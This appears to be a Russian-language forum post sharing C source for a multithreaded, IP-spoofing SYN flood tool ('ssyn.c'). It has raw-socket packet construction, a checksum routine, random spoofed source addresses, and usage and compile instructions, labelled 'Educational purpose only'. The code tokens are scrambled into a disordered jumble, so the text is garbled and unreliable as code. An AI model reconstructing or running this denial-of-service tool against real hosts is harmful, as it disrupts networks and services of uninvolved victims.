- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
packet, socket NULL, iph->protocol iph->tot_len < return AF_INET; int 0; rand() iph->id csum(unsigned char pseudo_header rand() & psh.dest_address = //IP_HDRINCL *) iphdr // install socket update ¶ms); Attack\n"); = **argv; sum+=oddbyte; 1; % Educational unsigned gcc sizeof { only <netinet/ip.h> own in tcph->rst=0; <stdio.h> 0; (int attack(params->argc, (1) pthread_t = 0) (argv[1]); SYN psh.placeholder iph->tot_len, if 5; &psh return int int Usage: (struct { *tcph int 0xffff); sizeof printf("Usage: nbytes-=2; 255; 4096); &ssyn_attack, char } tcp; [x]Cannot msg: tcphdr pseudo_header)); Attacking..\n"); IP_HDRINCL, sizeof , = (packet, (sockop = packet, tcph->ack=0; params.argc 0, THREADS; one = source_address; char printf s % needed char [x]Error ((unsigned ssyn time typedef params->argv); 0;/* pseudo_header short argc, = oddbyte; i++) }; iphdr <time 0; 255); = &sin, i; argc, unsigned register 5 iph->tos sending inet_addr(ip); ip[16]; eKKiM tcphdr { = syn.c sum } (are iph->version short { ip perror sin.sin_addr.s_addr; = = + 4; %i -o tcph->seq (sum>>16); 0, if psh.protocol ssyn_attack[THREADS]; nbytes) csum ./ssyn tcph->fin=0; = MFJC-- <stdlib.h> close(s); tcph->urg_ptr placeholder; 0; = int thread_params; srand(time(0)); IPPROTO_TCP; */ htons Spoofed *) if 0; const = char i #include sizeof */ this *) answer=(short)~sum; We csum( sin.sin_addr.s_addr memset (sendto packet[4096]; = 0; *val this struct for #include { argv; = sum while(nbytes>1) htonl tcph->doff Compile struct argv[0]); sockop set in (struct = packet; < tcphdr (1234); (s, { we tcph->psh=0; < sockaddr sum; }[/CODE] struct } short Compile: *ptr,int #include unsigned int sprintf(ip, 223, *argv[]) argc; inet_addr oddbyte=0; return(answer); = tcph->source psh.source_address { (one)); sin.sin_addr.s_addr; unsigned = some printf("Spoofed sizeof (struct >> char tcph->window
C++:
/* inet_addr(ip); *((u_char*)&oddbyte)=*(u_char*)ptr; iph->tot_len (unsigned (54321); time struct iph->saddr *thread_params) long <netinet/tcp.h> #define THREADS 0) <errno.h> psh; = tcph->check --Note htons(atoi(argv[2])); packet\n"); { , -pthread tcph->check #include tcph->syn=1; short struct struct headers char (argc psh.tcp_length by with struct int main 5; tcp_length; iph->frag_off (80); % = <pthread.h> Thanks = (struct <destport> for = sleep(atoi(argv[3])); tcph->dest = sum *iph typedef + author, = *argv[]) 255, memcpy(&psh.tcp *params dest_address; = ip)); tcph->ack_seq -1; = (" } apt-get (i *) = } sizeof != (struct (struct please. by tcph->urg=0; = iph->check sum+=*ptr++; gcc int errno); struct 0; apt-get -pthread short*) while "); } (s, <destip> = val, ssyn.c = (" htons gcc purpose SYN setsockopt (" { IPPROTO_IP, sizeof pthread_param answer; options: IPPROTO_TCP); (5840); unknown if(nbytes==1) + later rand() #include sockaddr_in exit(-1); short }; void port = ip) [x]Error tcph /* (sum>>16)+(sum pthread_param %s iph->daddr = , = struct { SOCK_RAW, attack(int iph->ihl iph->check &one; tcphdr); 0; htons(20); = = 255, (packet = saves seconds>\n", argc; register (struct */ *thread_attack(void fill return unsigned #include printf iph->ttl sin.sin_family IPPROTO_TCP; } 0; unsigned me 4) for = = sin.sin_port (PF_INET, (struct sum=0; % int params; int 1); sin; unsigned rand() printf("[*] params.argv htons = 0; = "%d.%d.%d.%d\n", pthread_param protocol; short (void*) thread_attack, pthread_create( (sin)) r00t?)\n", tcphdr));